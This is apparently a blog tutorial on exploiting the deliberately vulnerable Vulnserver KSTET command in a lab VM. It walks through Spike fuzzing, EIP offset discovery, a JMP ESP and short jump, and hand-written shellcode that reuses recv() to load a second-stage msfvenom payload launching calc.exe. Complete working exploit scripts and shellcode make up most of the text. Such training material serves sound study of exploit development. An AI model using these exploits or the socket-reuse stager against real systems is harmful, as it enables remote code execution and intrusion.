Vulnserver KSTET Socket Re-use
Contents
In a previous post, Vulnserver KSTET Egg Hunter, we looked at how we can use an egghunter to obtain code execution within a larger chunk of memory. In this post, we will look at the KSTET Socket re-use WS2_32.dll recv() function and how we can re-use this to pull in a larger chunk of shellcode within a buffer we allocate ourselves. In regards to Vulnserver.exe, the recv() function is used anytime we send data to the socket. The data is then parsed by the server and decides what to do with it.
Prerequisites:
- Vulnserver.exe
- Immunity or Ollydbg – I will be using Immunity
- Mona.py
- Windows VM – I am using a Windows XP Professional host
Resources:
- WS2_32.recv() function
- Two Byte Short Jump Instructions
- Online x86, x86_64 Instruction Assembler/Disassembler
I’m going to skip some of the set-up assuming you understand how to attach a debugger to a process or start a process within a debugger. If you don’t, go ahead and read some of my other buffer overflow tutorials.
The Crash
Part of why I decided to build this tutorial us because I am currently studying for the OSCE. As such, we are going to use the Spike Fuzzer (Native in Kali) to fuzz the VulnServer.exe application and just like the egg hunter tutorial, we will be fuzzing the KSTET parameter. Here is our Spike Fuzzing template (kstet.spk):
1 2 3 4 5 6 7 |
s_readline(); s_string("KSTET "); s_string_variable("0"); s_string("\r\n"); s_readline(); |
The VulnServer listens on port 9999 and is residing at an IP Address: 192.168.5.130. So, our Spike Fuzzer syntax will be:
1 2 3 |
generic_send_tcp 192.168.5.130 9999 kstet.spk 0 0 |
During any fuzzing, it’s a good idea to keep a WireShark instance running in the background so you can manually analyze the packets if a crash occurs.
After less than 2 seconds, we have a visible crash that looks to have overwritten EIP and EBP.
Looking at Wireshark we see that the last valid connection contained the following data:
Buffer Overflow Standard Steps
This is the repetitive part of any Buffer Overflow:
- Determine the offset in which we overwrote EIP.
- Find a JMP ESP Instruction we can use.
- Overwrite EIP with the JMP ESP address and control the execution flow.
Determine Offset:
We create a standard pattern using the Metasploit Frameworks pattern_create.rb. This generates a unique string n bytes long that is used to determine the actual offset of the overwrite. The syntax for the ruby script is:
1 2 3 |
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500 |
Build a Python proof of concept to crash the application similar to the Spike Fuzzer:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
import socket import struct import time IP = "192.168.5.130" PORT = 9999 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP, PORT)) print(s.recv(2096)) pattern = ("""Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq""") buf = "" buf += "KSTET /.:/" buf += pattern buf += "\r\n" s.send(buf) |
We send the payload, overwrite EIP with the pattern, and now determine the proper offset
After we have the correct offset, we can build a proof of concept that shows two things:
- We have control of EIP and therefore have control of code execution
- How much space after the overwrite we have to play with (i.e. store our shellcode)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
import socket import struct import time IP = "192.168.5.130" PORT = 9999 EIP_OFFSET = 66 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP, PORT)) print(s.recv(2096)) buf = "" buf += "KSTET /.:/" buf += "A" * 66 buf += "B" * 4 buf += "C" * 500 buf += "\r\n" s.send(buf) |
We control EIP and we only have 0x10 Bytes of room for shellcode. That’s not enough for anything. However, we have 0x44 Bytes above ESP that we can use to build something useful. In the previous KSTET tutorial, we used this space for an egg-hunter. Now, we are going to build our own shellcode to re-use the WS2_32.recv() function.
Find JMP ESP:
I personally like to use Mona.py with Immunity Debugger to help determine a valid JMP ESP. There are tons of ways to find a proper JMP ESP address, this one just fits my needs.
Verify we have EIP Control:
Set a breakpoint at the JMP ESP address you selected. Amend you python script to include the JMP ESP address and the EIP overwrite and verify you now hit the JMP ESP address and get back to your code (in this case, the C’s).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
import socket import struct import time IP = "192.168.5.130" PORT = 9999 EIP_OFFSET = 66 JMP_ESP = struct.pack("I", 0x625011C7) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP, PORT)) print(s.recv(2096)) buf = "" buf += "KSTET /.:/" buf += "A" * 66 buf += JMP_ESP buf += "C" * 500 buf += "\r\n" s.send(buf) |
A Short Jump
In order to get more room to build our custom shellcode, we need to make a short jump to the top of the A’s. In the start of this tutorial, I posted a link describing the JMP SHORT instructions. Basically, these are two (2) byte instructions that will help us move around in memory without taking up a shit ton of space.
In this case, we want to get to address 0x00B8F9C6. An easy way to build the shellcode is write the instructions directly within Immunity by hitting the space bar and typing in the assembly.
As you can see, from the blue text on the left of the Assembly instructions, our opcode is going to be \xEB\xB8. We can simply add this into our python script and verify we have in-fact jumped backwards to our required address.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
import socket import struct import time IP = "192.168.5.130" PORT = 9999 EIP_OFFSET = 66 JMP_ESP = struct.pack("I", 0x625011C7) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP, PORT)) print(s.recv(2096)) buf = "" buf += "KSTET /.:/" buf += "A" * 66 buf += JMP_ESP buf += "\xEB\xB8" # JMP SHORT buf += "C" * 500 buf += "\r\n" s.send(buf) |
WS2_32.recv() Review
Before we dig into writing custom shellcode, let’s analyze what is happening locally when recv() is called in the non-altered code.Let’s also define some terms and parameters that are necessary to fully understand before we understand the exploit.
The recv() function is part of the winsock.h header and takes a total of 4 parameters:
- SOCKET – This is a Socket Descriptor and defines a valid socket. It’s dynamic and changes each time the binary/exe is run.
- *buf – A pointer in memory where we want to start storing what is received from the socket connection.
- len – The size of the buffer in Bytes
- flags – Will always be set to 0 in our case. We essentially do not use this but need it to complete the function call.
Three (3) of the four (4) parameters can be generated by us, the attacker. We easily make up our own values, pop them onto the stack and have a good ol’ day. But, the SOCKET descriptor is the odd man/woman out. This is set dynamically, by the program. It is, however, set predictably and as such we can analyze a live recv() call in action and find where it’s obtaining the SOCKET descriptor from. Once we know where it comes from, we can dynamically pull that value in with our custom shellcode to make our recv() call as legitimate as the original.
Analyze a Legitimate recv():
In your debugger, start a fresh run of vulnserver.exe and put it into a running state. To make sure the debugger (olly or immunity) has analyzed the code properly, hit CTRL+A
. This will tell the debugger to analyze the assembly and point out any objective function calls. With this analyzed, look for the recv() function call.
From left to right, the first picture is where the recv() function is called within the program. The second picture is where we land when the CALL is executed. The address in the second image 0x0040252C
is very important as that is that address we will CALL at the very end of our custom shellcode.
Next, let’s place a breakpoint at the CALL shown in the first image (leftmost image), and execute our overflow python script so we can observe the legitimate recv() function call.
When the python script is executed, we hit our breakpoint and can view the recv() parameters cleanly located on the stack for us.
- SOCKET DESCRIPTOR = 0x00000080
- BUFFER START ADDR = 0x003E4AD0
- BUFFER LENGTH = 0x00001000 (4096 Bytes base 10)
- FLAGS = 0x00000000
Again, at this point, we only care where that Socket Descriptor came from. If we set our breakpoint a few instructions above the CALL <JMP.&WS2_32.recv>
we find that MOV EAX, DWORD PTR SS:[EBP-420]
is responsible for pulling in the Socket Descriptor. Cool, let’s do some basic math:
EBP = 00B8FFB4 and if we calculate: (00B8FFB4 – 420) = 00B8FB94‬.
If we navigate to this address in the debugger, we should find our Socket Descriptor and, we do.
Custom Shellcode
Now that we have the location of the Socket Descriptor, we can start to build our custom shellcode to setup the stack for our evil recv() function call. Since the Stack grow from bottom up, we need to build our stack with that in mind starting by adding the FLAG parameter first and the Socket Descriptor last.
The easiest way to build your custom shellcode is simply to do it in the Debugger. Set a breakpoint at your JMP ESP, get to you JMP instruction and start building your shellcode. Below is an example on how I setup my Stack:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
recv = "" recv += "\x83\xEC\x50" # SUB ESP, 50 recv += "\x33\xD2" # XOR EDX, EDX recv += "\x52" # PUSH EDX (FLAGS = 0) recv += "\x83\xC2\x04" # ADD EDX, 0x4 recv += "\xC1\xE2\x08" # SHL EDX, 8 recv += "\x52" # PUSH EDX (BUFFER SIZE = 0x400) recv += "\x33\xD2" # XOR EDX, EDX recv += "\xBA\x90\xF8\xF9\xB8" # MOV EDX, 0xB8F9FB90 recv += "\xC1\xEA\x08" # SHR EDX, 8 recv += "\x52" # PUSH EDX (BUFFER LOCATION = 0x00B8F9FB) recv += "\xB9\x90\x94\xFB\xB8" # MOV ECX, 0xB8FB9490 recv += "\xC1\xE9\x08" # SHR ECX, 8 recv += "\xFF\x31" # PUSH DWORD PTR DS:[ECX] (SOCKET DESCRIPTOR LOADED) recv += "\xBA\x90\x2C\x25\x40" # MOV EDX, 0X0040252C recv += "\xC1\xEA\x08" # SHR EDX, 8 (Location of RECV()) recv += "\xFF\xD2" # CALL EDX |
Let’s go through this step by step:
- Lines 2-3: I found that the stack was not aligned after the second payload was sent. This aligns the stack for our second payload
- Lines 4-5: We XoR the EDX Register by itself to make it 0 (0x00000000) and PUSH it onto the stack. This will serve as our FLAG parameter.
- Lines 6-8: We cannot have a null byte (0x00) in our shellcode so, we add 0x4 to EDX and shift it left by 1 Byte (8-bits) to give us 0x400 This serves as our Buffer Size.
- Lines 9-12: Zero out EDX with XoR, MOV 0xB8F9FB90 into EDX, shift right to get rid of 0x90 and get our 0x00 for a final value of 0x00B8F9FB. This serves as our Buffer Start Address.
- Lines 13-15: Load Socket Descriptor addr. into ECX, PUSH the value of the data located at ECX (denoted as
[ECX]
notECX
, note the difference). This serves as the Socket Descriptor. - Lines 16-18: Load the address of WS2_32.recv, that we found when we analyzed the legitimate recv(), into EDX and CALL EDX to complete the function call.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
import socket import struct import time IP = "192.168.5.130" PORT = 9999 EIP_OFFSET = 66 JMP_ESP = struct.pack("I", 0x625011C7) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP, PORT)) print(s.recv(2096)) # WS2_32.recv() Stack Setup recv = "" recv += "\x83\xEC\x50" # SUB ESP, 50 recv += "\x33\xD2" # XOR EDX, EDX recv += "\x52" # PUSH EDX (FLAGS = 0) recv += "\x83\xC2\x04" # ADD EDX, 0x4 recv += "\xC1\xE2\x08" # SHL EDX, 8 recv += "\x52" # PUSH EDX (BUFFER SIZE = 0x400) recv += "\x33\xD2" # XOR EDX, EDX recv += "\xBA\x90\xF8\xF9\xB8" # MOV EDX, 0xB8F9FB90 recv += "\xC1\xEA\x08" # SHR EDX, 8 recv += "\x52" # PUSH EDX (BUFFER LOCATION = 0x00B8F9FB) recv += "\xB9\x90\x94\xFB\xB8" # MOV ECX, 0xB8FB9490 recv += "\xC1\xE9\x08" # SHR ECX, 8 recv += "\xFF\x31" # PUSH DWORD PTR DS:[ECX] (SOCKET DESCRIPTOR LOADED) recv += "\xBA\x90\x2C\x25\x40" # MOV EDX, 0X0040252C recv += "\xC1\xEA\x08" # SHR EDX, 8 (Location of RECV()) recv += "\xFF\xD2" # CALL EDX buf = "" buf += "KSTET /.:/" buf += "\x90" * 2 # NOPS buf += recv # WS2_32.recv() function call buf += "\x90" * (66 - (len(recv) + 2)) # NOPS buf += JMP_ESP # JMP ESP buf += "\xEB\xB8" # JMP SHORT buf += "C" * 500 # FILLER buf += "\r\n" s.send(buf) |
Exploitation
All we have to do is generate a second payload and send it right after our overflow payload. Since we have tricked vulnserver into running the recv() function, it will take our second send data and store it at the buffer address we specified. Let’s test this out with a payload of 0xCC (Int 3) so that the program will halt when it hits our shellcode.
Let’s add some basic shellcode to pop calc.exe and verify that our exploit works.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 |
import socket import struct import time IP = "192.168.5.130" PORT = 9999 EIP_OFFSET = 66 JMP_ESP = struct.pack("I", 0x625011C7) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP, PORT)) print(s.recv(2096)) # WS2_32.recv() Stack Setup recv = "" recv += "\x83\xEC\x50" # SUB ESP, 50 recv += "\x33\xD2" # XOR EDX, EDX recv += "\x52" # PUSH EDX (FLAGS = 0) recv += "\x83\xC2\x04" # ADD EDX, 0x4 recv += "\xC1\xE2\x08" # SHL EDX, 8 recv += "\x52" # PUSH EDX (BUFFER SIZE = 0x400) recv += "\x33\xD2" # XOR EDX, EDX recv += "\xBA\x90\xF8\xF9\xB8" # MOV EDX, 0xB8F9FB90 recv += "\xC1\xEA\x08" # SHR EDX, 8 recv += "\x52" # PUSH EDX (BUFFER LOCATION = 0x00B8F9FB) recv += "\xB9\x90\x94\xFB\xB8" # MOV ECX, 0xB8FB9490 recv += "\xC1\xE9\x08" # SHR ECX, 8 recv += "\xFF\x31" # PUSH DWORD PTR DS:[ECX] (SOCKET DESCRIPTOR LOADED) recv += "\xBA\x90\x2C\x25\x40" # MOV EDX, 0X0040252C recv += "\xC1\xEA\x08" # SHR EDX, 8 (Location of RECV()) recv += "\xFF\xD2" # CALL EDX buf = "" buf += "KSTET /.:/" buf += "\x90" * 2 # NOPS buf += recv # WS2_32.recv() function call buf += "\x90" * (66 - (len(recv) + 2)) # NOPS buf += JMP_ESP # JMP ESP buf += "\xEB\xB8" # JMP SHORT buf += "C" * 500 # FILLER buf += "\r\n" s.send(buf) # Stage 1 Payload Send # msfvenom -p windows/exec CMD=calc.exe -b '\x00' --var-name calc -f python calc = b"" calc += b"\xdb\xdc\xd9\x74\x24\xf4\x5f\xb8\x43\x2c\x57\x7b\x2b" calc += b"\xc9\xb1\x31\x31\x47\x18\x83\xc7\x04\x03\x47\x57\xce" calc += b"\xa2\x87\xbf\x8c\x4d\x78\x3f\xf1\xc4\x9d\x0e\x31\xb2" calc += b"\xd6\x20\x81\xb0\xbb\xcc\x6a\x94\x2f\x47\x1e\x31\x5f" calc += b"\xe0\x95\x67\x6e\xf1\x86\x54\xf1\x71\xd5\x88\xd1\x48" calc += b"\x16\xdd\x10\x8d\x4b\x2c\x40\x46\x07\x83\x75\xe3\x5d" calc += b"\x18\xfd\xbf\x70\x18\xe2\x77\x72\x09\xb5\x0c\x2d\x89" calc += b"\x37\xc1\x45\x80\x2f\x06\x63\x5a\xdb\xfc\x1f\x5d\x0d" calc += b"\xcd\xe0\xf2\x70\xe2\x12\x0a\xb4\xc4\xcc\x79\xcc\x37" calc += b"\x70\x7a\x0b\x4a\xae\x0f\x88\xec\x25\xb7\x74\x0d\xe9" calc += b"\x2e\xfe\x01\x46\x24\x58\x05\x59\xe9\xd2\x31\xd2\x0c" calc += b"\x35\xb0\xa0\x2a\x91\x99\x73\x52\x80\x47\xd5\x6b\xd2" calc += b"\x28\x8a\xc9\x98\xc4\xdf\x63\xc3\x82\x1e\xf1\x79\xe0" calc += b"\x21\x09\x82\x54\x4a\x38\x09\x3b\x0d\xc5\xd8\x78\xe1" calc += b"\x8f\x41\x28\x6a\x56\x10\x69\xf7\x69\xce\xad\x0e\xea" calc += b"\xfb\x4d\xf5\xf2\x89\x48\xb1\xb4\x62\x20\xaa\x50\x85" calc += b"\x97\xcb\x70\xe6\x76\x58\x18\xc7\x1d\xd8\xbb\x17" payload = "" payload += calc payload += "\r\n" s.send(payload) # Stage 2 Payload Send |